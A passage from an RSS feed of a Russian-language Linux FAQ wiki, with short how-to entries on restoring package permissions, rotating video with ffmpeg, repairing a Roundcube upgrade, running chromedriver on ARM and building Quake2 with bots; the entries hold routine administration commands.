         if [ $? -eq $FOUND ]                   #+ пробелы.
         then
           fname=$filename                      # Удалить путь из имени файла.
           n=`echo $fname | sed -e &amp;quot;s/ /_/g&amp;quot;`   # Заменить пробелы символом подчеркивания.
           mv &amp;quot;$fname&amp;quot; &amp;quot;$n&amp;quot;                     # Переименование.
           let &amp;quot;number += 1&amp;quot;
         fi
    done
    if [ &amp;quot;$number&amp;quot; -eq &amp;quot;$ONE&amp;quot; ]
    then
     echo &amp;quot;$number файл переименован.&amp;quot;
    else
     echo &amp;quot;Переименовано файлов: $number&amp;quot;
    fi
    exit 0&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>restore_permissions_after_chmod_chown</title>
            <link>https://wiki.autosys.tk/linux_faq/restore_permissions_after_chmod_chown</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;rpm-based&quot;&gt;RPM-based&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В RPM-based системах восстановить дефолтные разрешения на файлы установленных пакетов просто. Для этого есть специальные ключи для &lt;strong&gt;rpm&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rpm --setugids -a
rpm --setperms -a &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;RPM-based&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;rpm-based&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-310&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;debianubuntu&quot;&gt;Debian/Ubuntu&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В Debian-based системах восстановить дефолтные (как после установки) разршения на файлы пакетов можно с помощью утилиты &lt;strong&gt;debsums&lt;/strong&gt;, которая проверяет контрольные суммы файлов и сравнивает с теми, что в пакетах. В том числе и для конфигурационных файлов.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install debsums&lt;/pre&gt;

&lt;p&gt;
И дальше проверяем и переустанввливаем то что повреждено:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install --reinstall $(dpkg -S $(debsums -c) | cut -d : -f 1 | sort -u)&lt;/pre&gt;

&lt;p&gt;
Или только для заданного пути (например /usr):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install --reinstall $(dpkg -S $(debsums -c | grep -e ^/usr ) | cut -d : -f 1 | sort -u)&lt;/pre&gt;

&lt;p&gt;
Или для группы директорий:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install --reinstall $(dpkg -S $(debsums -c | grep -e ^/etc -e ^/sbin -e ^/var  ) | cut -d : -f 1 | sort -u)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Debian\/Ubuntu&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;debianubuntu&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;311-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 30 Apr 2022 20:21:36 +0000</pubDate>
        </item>
        <item>
            <title>rotate_video_without_re_encoding</title>
            <link>https://wiki.autosys.tk/linux_faq/rotate_video_without_re_encoding</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_развернуть_картинку_без_перекодирования_видеофайла&quot;&gt;Как развернуть картинку без перекодирования видеофайла&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда так случается, что видеоролик начинаешь снимать из вертикального положения, но продолжаешь снимать горизонтально. В итоге файл записыватся вертикальным, но с горизонтальной картинкой. &lt;br/&gt;

В с помошью утилиты ffmpeg можно внести изменения в метаданные файла, что позволит просматривать его в нужной ориентации без перекодирования. &lt;br/&gt;

Команда такая:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ffmpeg -i input.mp4 -c copy -metadata:s:v:0 rotate=90 output_rotated.mp4&lt;/pre&gt;

&lt;p&gt;
Немного неочевидно, но для переворота видяхи на 180 градусов может понадобиться указывать не 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rotate=90&lt;/pre&gt;

&lt;p&gt;
а
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rotate=0&lt;/pre&gt;

&lt;p&gt;
То есть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ffmpeg -i input.mp4 -c copy -metadata:s:v:0 rotate=0 output_rotated.mp4&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 03 Oct 2021 12:25:35 +0000</pubDate>
        </item>
        <item>
            <title>roundcubemail_upgrade_error_database_schema_update</title>
            <link>https://wiki.autosys.tk/linux_faq/roundcubemail_upgrade_error_database_schema_update</link>
            <description>
&lt;p&gt;
при обновлении &lt;strong&gt;roundcube&lt;/strong&gt; возникает ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; 
Running update script at target...
Executing database schema update.
Error 500: Error in DDL upgrade 2016112200: [1060] Duplicate column name &amp;#039;id&amp;#039;
Updating database schema (2016112200)... [FAILED]&lt;/pre&gt;

&lt;p&gt;
Она сообщает, что при попытке обновления mysql-базы &lt;strong&gt;roundcube&lt;/strong&gt;, скрипт пытается создать колонку, которая уже существует. &lt;br/&gt;

Выход - либо поправить скрипт обновления, либо привести базу в соответствие со скриптом.
Я попытался привести базу в соответствие со скриптом. Запускаем &lt;strong&gt;mysql&lt;/strong&gt; и удаляем руками колонку &lt;strong&gt;id&lt;/strong&gt; из таблицы &lt;strong&gt;dictionary&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mysql
mysql&amp;gt; USE roundcubemail;
mysql&amp;gt; ALTER TABLE dictionary DROP id;&lt;/pre&gt;

&lt;p&gt;
После этого - восстанавливаю папку с &lt;strong&gt;roundcube&lt;/strong&gt; из бекапа в состояние, которое было до апгрейда (/opt/www/roundcube) и пытаюсь запустить апгрейд снова. &lt;br/&gt;

Теперь скрипт ругается на отсутствие прав на некоторые таблицы. Даем эти права:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mysql
mysql&amp;gt; USE roundcubemail;
mysql&amp;gt; GRANT CREATE ON roundcubemail.* TO &amp;#039;roundcube&amp;#039;@&amp;#039;localhost&amp;#039;;
mysql&amp;gt; GRANT SELECT,INSERT,UPDATE,DELETE,DROP ON cache_shared to &amp;#039;roundcube&amp;#039;@&amp;#039;localhost&amp;#039;;
mysql&amp;gt; GRANT SELECT,INSERT,UPDATE,DELETE,DROP ON cache to &amp;#039;roundcube&amp;#039;@&amp;#039;localhost&amp;#039;;
mysql&amp;gt; GRANT REFERENCES ON users to &amp;#039;roundcube&amp;#039;@&amp;#039;localhost&amp;#039;;
mysql&amp;gt; flush privileges;&lt;/pre&gt;

&lt;p&gt;
В дальнейшем mysql-скрипт &lt;strong&gt;2016112200&lt;/strong&gt; ругался  еще на какие-то объекты, которые уже были в базе, а он пытался их пересоздать и я отредактировал сам скрипт из папки ./SQL/… В общем - обновиться получилось.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>rsyslog_mysql_loganalyzer_shrink</title>
            <link>https://wiki.autosys.tk/linux_faq/rsyslog_mysql_loganalyzer_shrink</link>
            <description>&lt;pre class=&quot;code&quot;&gt;select count(*) from syslog where ReceivedAt &amp;gt; (curdate() - 3 months)&lt;/pre&gt;

&lt;p&gt;
if it seems what you want to delete just replace select count with delete 
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 08 Jun 2019 18:11:11 +0000</pubDate>
        </item>
        <item>
            <title>running_chromedriver_on_arm_aarch64_machines</title>
            <link>https://wiki.autosys.tk/linux_faq/running_chromedriver_on_arm_aarch64_machines</link>
            <description>&lt;pre class=&quot;code&quot;&gt;CHROME_VERSION=&amp;#039;119.0.6045.105&amp;#039;
curl -L -s -o  /tmp/chromedriver-linux64.zip https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/${CHROME_VERSION}/linux64/chromedriver-linux64.zip
unzip /tmp/chromedriver-linux64.zip -d /opt


apt-get update
apt-get install -y qemu-user-static binfmt-support curl unzip

Types: deb
URIs: http://ae.archive.ubuntu.com/ubuntu/
Suites: noble noble-updates noble-backports noble-security
Components: main universe restricted multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
Architectures: amd64

apt install libc6:amd64 libglib2.0-0t64:amd64 libxi6:amd64 libjq1:amd64 libonig5:amd64 \
libxkbcommon0:amd64 libxss1:amd64 libglib2.0-0:amd64 libnss3:amd64 \
  libfontconfig1:amd64 libatk-bridge2.0-0:amd64 libatspi2.0-0:amd64 libgtk-3-0:amd64 libpango-1.0-0:amd64 libgdk-pixbuf2.0-0:amd64 libxcomposite1:amd64 \
  libxcursor1:amd64 libxdamage1:amd64 libxtst6:amd64 libappindicator3-1:amd64 libasound2t64:amd64 libatk1.0-0:amd64 libcairo2:amd64 libcups2:amd64 libxfixes3:amd64 \
  libdbus-1-3:amd64 libexpat1:amd64 libgcc1:amd64 libnspr4:amd64 libgbm1:amd64 libpangocairo-1.0-0:amd64 libstdc++6:amd64 libx11-6:amd64 libx11-xcb1:amd64 libxcb1:amd64 libxext6:amd64 \
  libxrandr2:amd64 libxrender1:amd64


qemu-x86_64-static /opt/chromedriver-linux64/chromedriver&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 10 Apr 2025 13:25:06 +0000</pubDate>
        </item>
        <item>
            <title>run_quake2_on_ubuntu_with_bots</title>
            <link>https://wiki.autosys.tk/linux_faq/run_quake2_on_ubuntu_with_bots</link>
            <description>
&lt;p&gt;
На дворе 2021 год. Я захотел поиграть в quake2 с ботами. &lt;br/&gt;

Система - &lt;strong&gt;Ubuntu 20.10&lt;/strong&gt; &lt;br/&gt;

Устанавливаем Quake2 и то что нужно, чтобы его запустить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install quake2 game-data-packager innoextract&lt;/pre&gt;

&lt;p&gt;
Собираем пакет с данными:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;game-data-packager quake2 --package quake2-full-data ~/Games/q2/&lt;/pre&gt;

&lt;p&gt;
И устанавливаем его
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install ~/quake2-full-data_65_all.deb&lt;/pre&gt;

&lt;p&gt;
В результате установится &lt;strong&gt;Yamagi Quake2&lt;/strong&gt;. &lt;br/&gt;

Исполняемый файлик будет тут: &lt;strong&gt;/usr/lib/yamagi-quake2/quake2&lt;/strong&gt; &lt;br/&gt;

Директория с данными -  &lt;strong&gt;/usr/share/games/quake2/&lt;/strong&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ctf_deathmatch_на_базе_3zb2&quot;&gt;CTF + Deathmatch на базе 3zb2&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/DirtBagXon/3zb2-zigflag&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/DirtBagXon/3zb2-zigflag&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/DirtBagXon/3zb2-zigflag&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/DirtBagXon/3zb2-zigflag.git
cd 3zb2-zigflag/
sudo cp -R 3zb2 /usr/share/games/quake2/3zb2
make
sudo cp release/game.so /usr/share/games/quake2/3zb2/game.so
sudo cp release/game.so /usr/share/games/quake2/3zb2/gamex86.so
sudo cp release/game.so /usr/share/games/quake2/3zb2/gamex64.so&lt;/pre&gt;

&lt;p&gt;
Всё. Можно запускать &lt;strong&gt;deathmatch&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/lib/yamagi-quake2/quake2 -datadir /usr/share/games/quake2/ +set basepath /usr/share/games/quake2/ +set game 3zb2 +set deathmatch 1 +set autospawn 10 +exec game.cfg&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;CTF + Deathmatch \u043d\u0430 \u0431\u0430\u0437\u0435 3zb2&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ctf_deathmatch_\u043d\u0430_\u0431\u0430\u0437\u0435_3zb2&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;731-1378&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;апгрейд_графики_quake2&quot;&gt;Апгрейд графики Quake2&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.moddb.com/mods/quake-2-xp&quot; class=&quot;urlextern&quot; title=&quot;https://www.moddb.com/mods/quake-2-xp&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.moddb.com/mods/quake-2-xp&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://quakegate.ru/forum/topic741/&quot; class=&quot;urlextern&quot; title=&quot;http://quakegate.ru/forum/topic741/&quot; rel=&quot;ugc nofollow&quot;&gt;http://quakegate.ru/forum/topic741/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://sourceforge.net/projects/quake2xp/files/linux%20release/&quot; class=&quot;urlextern&quot; title=&quot;https://sourceforge.net/projects/quake2xp/files/linux%20release/&quot; rel=&quot;ugc nofollow&quot;&gt;https://sourceforge.net/projects/quake2xp/files/linux%20release/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/thro/quake2xp&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/thro/quake2xp&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/thro/quake2xp&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Заставить работать на встроенной карте &lt;strong&gt;AMD Ryzen 4800H не удалось&lt;/strong&gt; о чем честно написано тут: &lt;a href=&quot;http://quakegate.ru/forum/topic893/!&quot; class=&quot;urlextern&quot; title=&quot;http://quakegate.ru/forum/topic893/!&quot; rel=&quot;ugc nofollow&quot;&gt;http://quakegate.ru/forum/topic893/!&lt;/a&gt;
Собрать &lt;strong&gt;quake2xp&lt;/strong&gt; на текущей версии &lt;strong&gt;Ubuntu 21.10&lt;/strong&gt; удалось не сразу. Понадобилось обновить скрипт &lt;strong&gt;waf&lt;/strong&gt; и поставить старенький &lt;strong&gt;gcc8&lt;/strong&gt;. &lt;br/&gt;

С текущим &lt;strong&gt;gcc11&lt;/strong&gt; возникала ошибка линкера &lt;strong&gt;collect2&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[ 49/244] Linking build/baseq2/gamexp.so
...
collect2: error: ld returned 1 exit status&lt;/pre&gt;

&lt;p&gt;
Ставим то что понадобится для сборки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install build-essential libvorbis-dev libdevil-dev libsdl1.2-dev libopenal-dev&lt;/pre&gt;

&lt;p&gt;
Ставим &lt;strong&gt;gcc8&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install build-essential software-properties-common -y &amp;amp;&amp;amp; sudo add-apt-repository ppa:ubuntu-toolchain-r/test -y &amp;amp;&amp;amp; sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install gcc-8 g++-8 -y &amp;amp;&amp;amp; sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 60 --slave /usr/bin/g++ g++ /usr/bin/g++-8 &amp;amp;&amp;amp; gcc -v  &lt;/pre&gt;

&lt;p&gt;
Клонируем исходники:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/thro/quake2xp&lt;/pre&gt;

&lt;p&gt;
И свежий &lt;strong&gt;waf&lt;/strong&gt;:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://gitlab.com/ita1024/waf.git&lt;/pre&gt;

&lt;p&gt;
Собираем &lt;strong&gt;waf&lt;/strong&gt;:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd waf/
python3 ./waf-light configure build&lt;/pre&gt;

&lt;p&gt;
Копируем свежий &lt;strong&gt;waf&lt;/strong&gt; в директорию с исходниками &lt;strong&gt;quake2xp&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp ./waf ../quake2xp/waf&lt;/pre&gt;

&lt;p&gt;
Конфигурируем сборку. При необходимости указываем нужный префикс для инсталляции (дефолтный - &lt;strong&gt;/usr/local&lt;/strong&gt;) с помощью параметра
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python waf configure&lt;/pre&gt;

&lt;p&gt;
или
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python waf configure --prefix=$HOME/local&lt;/pre&gt;

&lt;p&gt;
Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python waf -v -j1&lt;/pre&gt;

&lt;p&gt;
Устанавливаем исполняемые компоненты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python waf install&lt;/pre&gt;

&lt;p&gt;
В итоге по-дефолту все установится в /usr/local:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;+ install /usr/local/share/quake2xp/baseq2/gamexp.so (from build/baseq2/gamexp.so)
+ install /usr/local/share/quake2xp/xatrix/gamexp.so (from build/xatrix/gamexp.so)
+ install /usr/local/share/quake2xp/rogue/game.so (from build/rogue/game.so)
+ install /usr/local/bin/quake2xp (from build/quake2xp)&lt;/pre&gt;

&lt;p&gt;
Скачиваем файлики необходимые для работы quake2xp: &lt;a href=&quot;https://disk.yandex.ru/d/RP5yRSM-sx5ck&quot; class=&quot;urlextern&quot; title=&quot;https://disk.yandex.ru/d/RP5yRSM-sx5ck&quot; rel=&quot;ugc nofollow&quot;&gt;https://disk.yandex.ru/d/RP5yRSM-sx5ck&lt;/a&gt; или &lt;a href=&quot;https://disk.yandex.ru/d/OtMgvf03VDXcew&quot; class=&quot;urlextern&quot; title=&quot;https://disk.yandex.ru/d/OtMgvf03VDXcew&quot; rel=&quot;ugc nofollow&quot;&gt;https://disk.yandex.ru/d/OtMgvf03VDXcew&lt;/a&gt; &lt;br/&gt;

Распаковываем и копируем куда надо:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp ~/Downloads/quake2xp/* /usr/local/share/quake2xp/&lt;/pre&gt;

&lt;p&gt;
Копируем файлы из оригинальной игры:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp -R /usr/share/games/quake2/baseq2/* //usr/local/share/quake2xp/baseq2/&lt;/pre&gt;

&lt;p&gt;
Клонируем и копируем шейдеры
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;svn checkout svn://svn.code.sf.net/p/quake2xp/code/glsl glsl
sudo cp -R ./glsl /usr/local/share/quake2xp/baseq2/&lt;/pre&gt;

&lt;p&gt;
Клонируем и копируем карты освещения:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;svn checkout svn://svn.code.sf.net/p/quake2xp/code/maps maps
svn checkout svn://svn.code.sf.net/p/quake2xp/code/mapsx mapsx
sudo cp -r ./maps/* //usr/local/share/quake2xp/baseq2/maps/
sudo cp -r ./maps/* /usr/local/share/quake2xp/baseq2/maps/&lt;/pre&gt;

&lt;p&gt;
Фиксим права на листинг директорий:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod a+x /usr/local/share/quake2xp/baseq2/
sudo chmod a+x /usr/local/share/quake2xp/baseq2
sudo chmod a+x /usr/local/share/quake2xp/baseq2/infantry
sudo chmod a+x /usr/local/share/quake2xp/baseq2/maps
sudo chmod a+x /usr/local/share/quake2xp/baseq2/models/
sudo chmod a+x /usr/local/share/quake2xp/baseq2/pics
sudo chmod a+x /usr/local/share/quake2xp/baseq2/players
sudo chmod a+x /usr/local/share/quake2xp/baseq2/soldier
sudo chmod a+x /usr/local/share/quake2xp/baseq2/video&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434 \u0433\u0440\u0430\u0444\u0438\u043a\u0438 Quake2&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434_\u0433\u0440\u0430\u0444\u0438\u043a\u0438_quake2&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1379-5447&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;zb2&quot;&gt;3zb2&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вероятно лучшие боты для quake2 - &lt;a href=&quot;https://github.com/yquake2/3zb2&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/yquake2/3zb2&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/yquake2/3zb2&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;3zb2&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;zb2&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5448-5554&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;crbots&quot;&gt;crbots&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Боты &lt;strong&gt;crbot&lt;/strong&gt; (с исходниками) - &lt;a href=&quot;https://www.angelfire.com/mt2/quakebots/crbotandsrc.tar.gz&quot; class=&quot;urlextern&quot; title=&quot;https://www.angelfire.com/mt2/quakebots/crbotandsrc.tar.gz&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.angelfire.com/mt2/quakebots/crbotandsrc.tar.gz&lt;/a&gt; &lt;br/&gt;

Для того, чтобы можно было запустить ботов нужно скопировать папку с ботами в директорию с данными игры:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp -R./crbot /usr/share/games/quake2/&lt;/pre&gt;

&lt;p&gt;
Исполняемый файл с ботами должен иметь имя &lt;strong&gt;game.so&lt;/strong&gt;. Я попробывал перемиеновать уже собранный файл &lt;strong&gt;gamei386.so&lt;/strong&gt; в &lt;strong&gt;game.so&lt;/strong&gt;, но ожидаемо получил сообщениео не несовместимости:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/share/games/quake2/crbot/game.so&lt;/pre&gt;

&lt;p&gt;
Устанавливаем немного зависимостей 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libc6-dev build-essential&lt;/pre&gt;

&lt;p&gt;
Дальше берем &lt;strong&gt;Makefile&lt;/strong&gt; для сборки под &lt;strong&gt;linux&lt;/strong&gt; (из папки &lt;strong&gt;crbot/crbotsource/RESOURCE/Linux Makefile/&lt;/strong&gt; ) и копируем его в папку пробуем собрать. И они нормально собираются, но файлик &lt;strong&gt;gamex86_64.so&lt;/strong&gt; нужно переименовать в &lt;strong&gt;game.so&lt;/strong&gt;. &lt;br/&gt;

Вот подправленные crbot, который нормально собираются современными компиляторами:  &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/crbot_patched.tar.gz&quot; class=&quot;media mediafile mf_gz&quot; title=&quot;linux_faq:crbot_patched.tar.gz (1.3 MB)&quot;&gt;crbot_patched.tar.gz&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;crbots&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;crbots&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;5555-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 16 Nov 2021 07:09:32 +0000</pubDate>
        </item>
        <item>
            <title>run_unreal_rournament_99_in_ubuntu_x86_64</title>
            <link>https://wiki.autosys.tk/linux_faq/run_unreal_rournament_99_in_ubuntu_x86_64</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка_версии_436&quot;&gt;Установка версии 436&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/XenGi/oldgames/tree/master/ut&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/XenGi/oldgames/tree/master/ut&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/XenGi/oldgames/tree/master/ut&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 436&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0432\u0435\u0440\u0441\u0438\u0438_436&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-99&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;cd-roms&quot;&gt;CD-ROMs&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Вот с этой страницы &lt;a href=&quot;https://www.old-games.ru/game/download/716.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.old-games.ru/game/download/716.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.old-games.ru/game/download/716.html&lt;/a&gt; скачиваем два файла: &lt;br/&gt;

&lt;a href=&quot;https://dl.old-games.su/get/8O5Gk-6LBKEOxbcldXv-_Q==,1612863344/pc/unreal_tournament/files/Unreal_Tournament_CD1_ISO.rar&quot; class=&quot;urlextern&quot; title=&quot;https://dl.old-games.su/get/8O5Gk-6LBKEOxbcldXv-_Q==,1612863344/pc/unreal_tournament/files/Unreal_Tournament_CD1_ISO.rar&quot; rel=&quot;ugc nofollow&quot;&gt;https://dl.old-games.su/get/8O5Gk-6LBKEOxbcldXv-_Q==,1612863344/pc/unreal_tournament/files/Unreal_Tournament_CD1_ISO.rar&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://dl.old-games.su/get/jzDoF_Et79lTYY_xeMwY5g==,1612863359/pc/unreal_tournament/files/Unreal_Tournament_CD2_ISO.rar&quot; class=&quot;urlextern&quot; title=&quot;https://dl.old-games.su/get/jzDoF_Et79lTYY_xeMwY5g==,1612863359/pc/unreal_tournament/files/Unreal_Tournament_CD2_ISO.rar&quot; rel=&quot;ugc nofollow&quot;&gt;https://dl.old-games.su/get/jzDoF_Et79lTYY_xeMwY5g==,1612863359/pc/unreal_tournament/files/Unreal_Tournament_CD2_ISO.rar&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;CD-ROMs&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cd-roms&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;100-494&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;unrealtournament_436-multilanguagegotyrun&quot;&gt;unreal.tournament_436-multilanguage.goty.run&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Вот отсюда &lt;a href=&quot;https://www.unreal4fun.net/joomla/index.php/downloads/summary/13-ut-updates-official/42-ut-436-linux-full-installer-goty&quot; class=&quot;urlextern&quot; title=&quot;https://www.unreal4fun.net/joomla/index.php/downloads/summary/13-ut-updates-official/42-ut-436-linux-full-installer-goty&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.unreal4fun.net/joomla/index.php/downloads/summary/13-ut-updates-official/42-ut-436-linux-full-installer-goty&lt;/a&gt; я скачал инсталлятор &lt;strong&gt;unreal.tournament_436-multilanguage.goty.run&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
